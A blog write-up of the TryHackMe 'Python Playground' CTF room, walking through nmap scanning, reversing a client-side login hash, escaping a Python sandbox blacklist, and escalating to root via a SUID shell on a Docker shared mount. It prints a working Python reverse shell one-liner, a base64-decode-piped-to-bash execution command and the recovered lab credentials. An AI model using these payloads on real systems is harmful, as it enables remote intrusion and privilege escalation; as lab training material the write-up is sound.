This page looks best with JavaScript enabled

TryHackMe: Python Playground

 ·  ☕ 4 min read

Flag 1

Started by scanning the ip with nmap to see what ports has open:

root@docker-desktop:~#  ports=$(nmap -p- --min-rate=1000 -T5 10.10.117.170 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)
root@docker-desktop:~# nmap -sC -sV -p$ports 10.10.117.170
Starting Nmap 7.80 ( https://nmap.org ) at 2020-06-13 08:56 UTC
Nmap scan report for 10.10.117.170
Host is up (0.072s latency).

PORT      STATE  SERVICE VERSION
22/tcp    open   ssh     OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
|   2048 f4:af:2f:f0:42:8a:b5:66:61:3e:73:d8:0d:2e:1c:7f (RSA)
|   256 36:f0:f3:aa:6b:e3:b9:21:c8:88:bd:8d:1c:aa:e2:cd (ECDSA)
|_  256 54:7e:3f:a9:17:da:63:f2:a2:ee:5c:60:7d:29:12:55 (ED25519)
80/tcp    open   http    Node.js Express framework
|_http-title: Python Playground!
17414/tcp closed unknown
51517/tcp closed unknown
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 12.76 seconds

As it has port 80 open, started by analyzing the web, in which there are 2 available routes, /login.html and /signup.html. However both requests responds with:

1
2
3
<p>
    Sorry, but due to some recent security issues, only admins can use the site right now. Don't worry, the developers will fix it soon :)
</p>

Keeping that in mind tried for common directories manually with html extension and got /admin.html.
It has a login page the admin login page, with the following script in the source code:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<script>
	// I suck at server side code, luckily I know how to make things secure without it - Connor

    function string_to_int_array(str) {
		const intArr = [];

		for (let i = 0; i < str.length; i++) {
			const charcode = str.charCodeAt(i);

			const partA = Math.floor(charcode / 26);
			const partB = charcode % 26;

			intArr.push(partA);
			intArr.push(partB);
		}

		return intArr;
	}

    function int_array_to_text(int_array) {
    	let txt = '';

    	for (let i = 0; i < int_array.length; i++) {
    		txt += String.fromCharCode(97 + int_array[i]);
    	}

    	return txt;
    }

    document.forms[0].onsubmit = function (e) {
		e.preventDefault();

		if (document.getElementById('username').value !== 'connor') {
			document.getElementById('fail').style.display = '';
			return false;
		}

		const chosenPass = document.getElementById('inputPassword').value;

		const hash = int_array_to_text(string_to_int_array(int_array_to_text(string_to_int_array(chosenPass))));

		if (hash === 'dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu') {
			window.location = 'super-secret-admin-testing-panel.html';
		} else {
			document.getElementById('fail').style.display = '';
		}
		return false;
	} 
</ script>

If we take a look at the login function, once we login we get redirected to /super-secret-admin-testing-panel.html.
In that directory we can execute python code. The goal here is to get RCE from that.
However there are some keywords blacklisted (import,so,…).
After trying different ways of importing or executing code I found this one:

1
2
subprocess = __import__('subprocess')
print(subprocess.call("<code to execute>", shell=True))

Then, to get a reverse shell all i had to is encode the payload (with base64 for instance) and make it to decode it before executing it.

base64 -w0 <<'EOF'
python3 -c 'import socket,subprocess,os; 
s=socket.socket(socket.AF_INET, socket.SOCK_STREAM); 
s.connect(("<ip>",<port>)); os.dup2(s.fileno(),0); 
os.dup2(s.fileno(),1); os.dup2(s.fileno(),2); 
p=subprocess.call(["/bin/sh","-i"]);'
EOF

Use the following payload:

echo "<Base64 encoded reverse shell>" | base64 -d | bash -s 

Flag 2

For this flag I reversed the hash from the admin panel using a small javascript function:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
let hash = "dxeedxebdwemdwesdxdtdweqdxefdxefdxdudueqduerdvdtdvdu"

function reverse(hash,iterations){
  
  if(iterations > 0){
    let reversedHash = ''
    for(let i=0; i < hash.length; i = i+2 ){
      reversedHash += String.fromCharCode(26 * (hash.charCodeAt(i) - 97) + (hash.charCodeAt(i + 1) - 97));
    }    
    return reverse(reversedHash,iterations - 1);
  }else{
    return hash;
  }
  
}

console.log(reverse(hash,2))

Then connected with connor:spaghetti1245 using ssh.

Flag 3

At this stage we have a root user inside a docker container and a regular user connected to the actual host through ssh.
Used linpeas to enumerate the system within the container, it pointed out that there was mounted a directory called /mnt/log.

Then copied bash from the docker to the shared folder and gave it suid permissions:

root@playgroundweb:~# cp /bin/sh /mnt/log
root@playgroundweb:~# chmod 777 /mnt/log/sh
root@playgroundweb:~# chmod +s /mnt/log/sh

Checked where it is pointing to in the host machine:

connor@pythonplayground:/$ find / -name sh 2>/dev/null | grep -v usr | grep -v snap
/var/log/sh
/bin/sh

Finally used that bash file as connor using ssh:

connor@pythonplayground:/var/log$ /var/log/sh -p
# id
uid=1000(connor) gid=1000(connor) euid=0(root) egid=0(root) groups=0(root),1000(connor)

Resources

  • https://ctf-wiki.github.io/ctf-wiki/pwn/linux/sandbox/python-sandbox-escape/
  • https://anee.me/escaping-python-jails-849c65cf306e
  • https://unix.stackexchange.com/questions/74527/setuid-bit-seems-to-have-no-effect-on-bash
Share on

ITasahobby
WRITTEN BY
ITasahobby
InTernet lover